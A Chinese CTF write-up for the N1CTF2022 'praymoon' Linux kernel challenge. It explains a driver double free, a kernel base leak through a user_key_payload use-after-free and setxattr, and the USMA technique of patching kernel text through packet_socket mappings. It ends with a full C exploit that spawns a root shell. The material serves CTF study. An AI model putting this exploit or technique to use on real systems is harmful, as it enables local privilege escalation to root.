• 【USMA】N1CTF2022-praymoon


    前言

    本题主要利用 USMA 解题,当然还有其他做法,暂时不表

    程序分析

    启动脚本就不看了,该开的保护都开了。看下文件系统初始化脚本:

    1. #!/bin/sh
    2. mkdir /tmp
    3. mount -t proc none /proc
    4. mount -t sysfs none /sys
    5. mount -t devtmpfs devtmpfs /dev
    6. mount -t tmpfs none /tmp
    7. mdev -s
    8. echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
    9. echo 1 > /proc/sys/vm/unprivileged_userfaultfd
    10. insmod /praymoon.ko
    11. chmod 666 /dev/seven
    12. chmod 740 /flag
    13. echo 1 > /proc/sys/kernel/kptr_restrict
    14. echo 1 > /proc/sys/kernel/dmesg_restrict
    15. chmod 400 /proc/kallsyms
    16. poweroff -d 120 -f &
    17. setsid /bin/cttyhack setuidgid 1000 /bin/sh
    18. umount /proc
    19. umount /tmp
    20. poweroff -d 0 -f

    可以看到,这里设置了  echo 1 > /proc/sys/vm/unprivileged_userfaultfd,这是因为该题目的内核版本为 5.18.10,而 userfaultfd 在 5.11 就限制了普通用户的使用,这也是给了我们一个做题的方向。

    题目还给了配置文件

    1. CONFIG_SLAB_FREELIST_RANDOM=y
    2. CONFIG_SLAB_FREELIST_HARDENED=y
    3. CONFIG_SHUFFLE_PAGE_ALLOCATOR=y
    4. CONFIG_STATIC_USERMODEHELPER=y
    5. CONFIG_STATIC_USERMODEHELPER_PATH=""
    6. CONFIG_MEMCG=y
    7. CONFIG_MEMCG_SWAP=y
    8. CONFIG_MEMCG_KMEM=y
    9. CONFIG_DEBUG_LIST=y
    10. CONFIG_HARDENED_USERCOPY=y

    驱动程序很简单,跟 d3kheap 差不多,给了一次 double free 的机会(但是由于开启了 SLAB_FREELIST_HARDENED,所以不能直接 double free),只是这里的大小是 0x200,更难利用了:

    漏洞利用

    首先我们得先去泄漏内核的基地址,常用的泄漏信息的结构体有 ldt_struct、msg_msg、user_key_payload,这里 ldt_struct 大小不满足,而非常可惜的是 msg_msg 是采用 GFP_KERNEL_ACCOUNT,而题目采用的是 GFP_KERNEL,并且开启了 MEMCG,所以这里堆块就是隔离的,所以 msg_msg 也就无法直接利用了。最后我们就只剩下 user_key_payload,幸运的是其分配采用的就是 GFP_KERNEL。

    泄漏内核基地址

    首先,构造 UAF:

    1、add 分配一个堆块

    2、dele 释放该堆块

    3、分配 user_key_payload 占据该堆块

    4、dele 再次释放该堆块

    然后我们可以利用 setxattr 去修改 user_key_payload 的 datalen 字段。然后越界读一些数据,该数据中可能存在一个可用地址,笔者将其作为一个字典进行碰撞。经过测试,有较大的概率可以泄漏内核地址。

    经过测试:

    freelist pointer 存在堆块偏移为 33*8 的位置

    并且使用 kfree 释放堆块,不会清空堆块内容

     提权

    关于提权,一般而言有两者朴素的想法:

    1、寻找具有函数指针的结构体,通过劫持函数指针去劫持程序执行流

    2、利用任意读写原语去修改 cred

    这里我们想要找到 0x200 大小的带有函数指针的结构体可不容易,当然可以大家会想到 pipe_buffer,可以 pipe_buffer 也带有 GFP_KERNEL_ACCOUNT。

    这里利用 usma 即用户态映射攻击,贴了360的原文,大家可以看下:USMA:用户态映射攻击

    exp 如下:

    注:脚本不是很稳定,即 setxattr 可能拿不到 UAF 堆块,主要是脚本写的比较烂,但是不想改了

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #include
    29. #include
    30. void err_exit(char *msg)
    31. {
    32. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    33. exit(EXIT_FAILURE);
    34. }
    35. void info(char *msg)
    36. {
    37. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    38. }
    39. void line(char *msg)
    40. {
    41. printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
    42. }
    43. void hexx(char *msg, size_t value)
    44. {
    45. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    46. }
    47. void binary_dump(char *desc, void *addr, int len) {
    48. uint64_t *buf64 = (uint64_t *) addr;
    49. uint8_t *buf8 = (uint8_t *) addr;
    50. if (desc != NULL) {
    51. printf("\033[33m[*] %s:\n\033[0m", desc);
    52. }
    53. for (int i = 0; i < len / 8; i += 4) {
    54. printf(" %04x", i * 8);
    55. for (int j = 0; j < 4; j++) {
    56. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    57. }
    58. printf(" ");
    59. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    60. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    61. }
    62. puts("");
    63. }
    64. }
    65. void get_root_shell(void)
    66. {
    67. if(getuid()) {
    68. puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
    69. sleep(5);
    70. exit(EXIT_FAILURE);
    71. }
    72. puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    73. puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    74. system("/bin/sh");
    75. exit(EXIT_SUCCESS);
    76. }
    77. void bind_core(int core)
    78. {
    79. cpu_set_t cpu_set;
    80. CPU_ZERO(&cpu_set);
    81. CPU_SET(core, &cpu_set);
    82. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    83. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    84. }
    85. void register_userfaultfd(void* moniter_addr, void* handler)
    86. {
    87. int uffd;
    88. pthread_t thr;
    89. struct uffdio_api uffdio_api;
    90. struct uffdio_register uffdio_register;
    91. uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    92. if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");
    93. uffdio_api.api = UFFD_API;
    94. uffdio_api.features = 0;
    95. if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");
    96. uffdio_register.range.start = (unsigned long long)moniter_addr;
    97. uffdio_register.range.len = 0x1000;
    98. uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    99. if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");
    100. if (pthread_create(&thr, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
    101. }
    102. int key_alloc(char *description, char *payload, size_t plen)
    103. {
    104. return syscall(__NR_add_key, "user", description, payload, plen,
    105. KEY_SPEC_PROCESS_KEYRING);
    106. }
    107. int key_read(int keyid, char *buffer, size_t buflen)
    108. {
    109. return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
    110. }
    111. int key_revoke(int keyid)
    112. {
    113. return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
    114. }
    115. char uffd_copy_src[0x1000];
    116. void* handler_30(void* args)
    117. {
    118. int uffd = (int)args;
    119. struct uffd_msg msg;
    120. struct uffdio_copy uffdio_copy;
    121. for (;;)
    122. {
    123. struct pollfd pollfd;
    124. pollfd.fd = uffd;
    125. pollfd.events = POLLIN;
    126. if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");
    127. int res = read(uffd, &msg, sizeof(msg));
    128. if (res == 0) err_exit("EOF on userfaultfd for leak_handler");
    129. if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");
    130. if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");
    131. info("==> userfaultfd to sleep(30) <==");
    132. sleep(30);
    133. uffdio_copy.src = uffd_copy_src;
    134. uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
    135. uffdio_copy.len = 0x1000;
    136. uffdio_copy.mode = 0;
    137. uffdio_copy.copy = 0;
    138. if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
    139. }
    140. return NULL;
    141. }
    142. void* edit_func(void* args)
    143. {
    144. setxattr("/exp", "hacker", args, 0x200, 0);
    145. return NULL;
    146. }
    147. int fd;
    148. int key;
    149. void add() { ioctl(fd, 0x5555, NULL); }
    150. void dele() { ioctl(fd, 0x6666, NULL); }
    151. size_t check(size_t kernel_addr)
    152. {
    153. size_t kernel_addrs[] = {0xffffffff829da760, 0xffffffff81780ae0, 0xffffffff81780ad0, 0xffffffff8143e280, 0xffffffff829b9320};
    154. size_t kernel_offset = -1;
    155. switch ((kernel_addr&0xfff))
    156. {
    157. case 0x760:
    158. kernel_offset = kernel_addr - kernel_addrs[0];
    159. break;
    160. case 0xae0:
    161. kernel_offset = kernel_addr - kernel_addrs[1];
    162. break;
    163. case 0xad0:
    164. kernel_offset = kernel_addr - kernel_addrs[2];
    165. break;
    166. case 0x280:
    167. kernel_offset = kernel_addr - kernel_addrs[3];
    168. break;
    169. case 0x320:
    170. kernel_offset = kernel_addr - kernel_addrs[4];
    171. break;
    172. default:
    173. kernel_offset = -1;
    174. break;
    175. }
    176. return kernel_offset;
    177. }
    178. #ifndef ETH_P_ALL
    179. #define ETH_P_ALL 0x0003
    180. #endif
    181. void init_namespace(void) {
    182. int fd;
    183. char buff[0x100];
    184. uid_t uid = getuid();
    185. gid_t gid = getgid();
    186. if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
    187. puts("[X] unshare(CLONE_NEWUSER | CLONE_NEWNS)");
    188. exit(-1);
    189. }
    190. if (unshare(CLONE_NEWNET)) {
    191. puts("[X] unshare(CLONE_NEWNET)");
    192. exit(-1);
    193. }
    194. fd = open("/proc/self/setgroups", O_WRONLY);
    195. snprintf(buff, sizeof(buff), "deny");
    196. write(fd, buff, strlen(buff));
    197. close(fd);
    198. fd = open("/proc/self/uid_map", O_WRONLY);
    199. snprintf(buff, sizeof(buff), "0 %d 1", uid);
    200. write(fd, buff, strlen(buff));
    201. close(fd);
    202. fd = open("/proc/self/gid_map", O_WRONLY);
    203. snprintf(buff, sizeof(buff), "0 %d 1", gid);
    204. write(fd, buff, strlen(buff));
    205. close(fd);
    206. }
    207. void packet_socket_rx_ring_init(int s, unsigned int block_size,
    208. unsigned int frame_size, unsigned int block_nr,
    209. unsigned int sizeof_priv, unsigned int timeout) {
    210. int v = TPACKET_V3;
    211. int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    212. if (rv < 0) {
    213. puts("[X] setsockopt(PACKET_VERSION)");
    214. exit(-1);
    215. }
    216. struct tpacket_req3 req;
    217. memset(&req, 0, sizeof(req));
    218. req.tp_block_size = block_size;
    219. req.tp_frame_size = frame_size;
    220. req.tp_block_nr = block_nr;
    221. req.tp_frame_nr = (block_size * block_nr) / frame_size;
    222. req.tp_retire_blk_tov = timeout;
    223. req.tp_sizeof_priv = sizeof_priv;
    224. req.tp_feature_req_word = 0;
    225. rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    226. if (rv < 0) {
    227. puts("setsockopt(PACKET_RX_RING)");
    228. exit(-1);
    229. }
    230. }
    231. int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
    232. unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    233. int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    234. if (s < 0) {
    235. puts("socket(AF_PACKET)");
    236. exit(-1);
    237. }
    238. packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
    239. sizeof_priv, timeout);
    240. struct sockaddr_ll sa;
    241. memset(&sa, 0, sizeof(sa));
    242. sa.sll_family = PF_PACKET;
    243. sa.sll_protocol = htons(ETH_P_ALL);
    244. sa.sll_ifindex = if_nametoindex("lo");
    245. sa.sll_hatype = 0;
    246. sa.sll_pkttype = 0;
    247. sa.sll_halen = 0;
    248. int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    249. if (rv < 0) {
    250. puts("bind(AF_PACKET)");
    251. exit(-1);
    252. }
    253. return s;
    254. }
    255. int alloc_pgv(int count, int size) {
    256. return packet_socket_setup(size, 2048, count, 0, 100);
    257. }
    258. int main(int argc, char** argv, char** env)
    259. {
    260. bind_core(0);
    261. int pipe_fd[2];
    262. pipe(pipe_fd);
    263. pid_t pid = fork();
    264. if (!pid)
    265. {
    266. init_namespace();
    267. size_t kernel_offset;
    268. char buf[0x2000];
    269. char des[0x100];
    270. size_t attr[0x200/8];
    271. void* uffd_buf;
    272. int packet_fd;
    273. size_t res;
    274. pthread_t edit_thr1, edit_thr2;
    275. fd = open("/dev/seven", O_RDWR);
    276. if (fd < 0) err_exit("open dev file");
    277. uffd_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    278. register_userfaultfd((char*)uffd_buf+0x1000, handler_30);
    279. attr[0] = attr[1] = 0;
    280. attr[2] = 0x2000;
    281. memset(buf, 'B', 0x200);
    282. add();
    283. dele();
    284. key = key_alloc("hacker", buf, 0x100);
    285. if (key < 0) err_exit("key_alloc");
    286. dele();
    287. setxattr("/exp", "hacker", attr, 0x200, 0);
    288. res = key_read(key, buf, 0x2000);
    289. hexx("key_read bytes", res);
    290. kernel_offset = -1;
    291. for (int i = 0; i < 0x2000/8; i++)
    292. {
    293. size_t tmp = *(size_t*)(buf + i*8);
    294. if ((tmp > 0xffffffff00000000) && ((kernel_offset=check(tmp)) != -1) && ((kernel_offset&0xfff) == 0)) break;
    295. else kernel_offset = -1;
    296. }
    297. if (kernel_offset == -1) err_exit("Leak kernel offset");
    298. hexx("kernel_offset", kernel_offset);
    299. line("USMA ATTACK");
    300. packet_fd = alloc_pgv(33, 0x1000);
    301. key_revoke(key);
    302. for (int i = 0; i < 0x150 / 8; i++)
    303. *(size_t*)((char*)uffd_buf + 0x1000 - 0x150 + i*8) = 0xFFFFFFFF81086000 + kernel_offset;
    304. hexx("vm_insert_page addr", 0xFFFFFFFF81086000 + kernel_offset);
    305. pthread_create(&edit_thr1, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);
    306. sleep(1);
    307. pthread_create(&edit_thr2, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);
    308. sleep(1);
    309. char* page = (char*)mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
    310. page[0xFFFFFFFF81086FD8 - 0xFFFFFFFF81086000] = 0xeb;
    311. info("CHILD END!");
    312. write(pipe_fd[1], "A", 1);
    313. pause();
    314. } else if (pid < 0) {
    315. err_exit("fork");
    316. } else {
    317. char buf[1];
    318. read(pipe_fd[0], buf, 1);
    319. setresuid(0, 0, 0);
    320. hexx("UID", getuid());
    321. get_root_shell();
    322. info("PRAENT END!");
    323. }
    324. return 0;
    325. }

    效果如下:

  • 相关阅读:
    SpringCloud基础知识【Hystrix熔断器】
    数据分析与取证capture.pcapng
    shell脚本处理日志转化为JsonArray
    设计模式学习笔记 - 开源实战二(中):从Unix开源开发学习应对大型复杂项目开发
    如何在PIL图像和PyTorch Tensor之间进行相互转换,使用pytorch进行PIL和tensor之间的数据转换
    【MATLAB】求解含有三角函数的方程
    多云环境的风险发现
    ES6初步了解生成器
    python通过导入自定义dll实现显存释放
    从私服上拉取jar包,就是拉取不下来
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133974921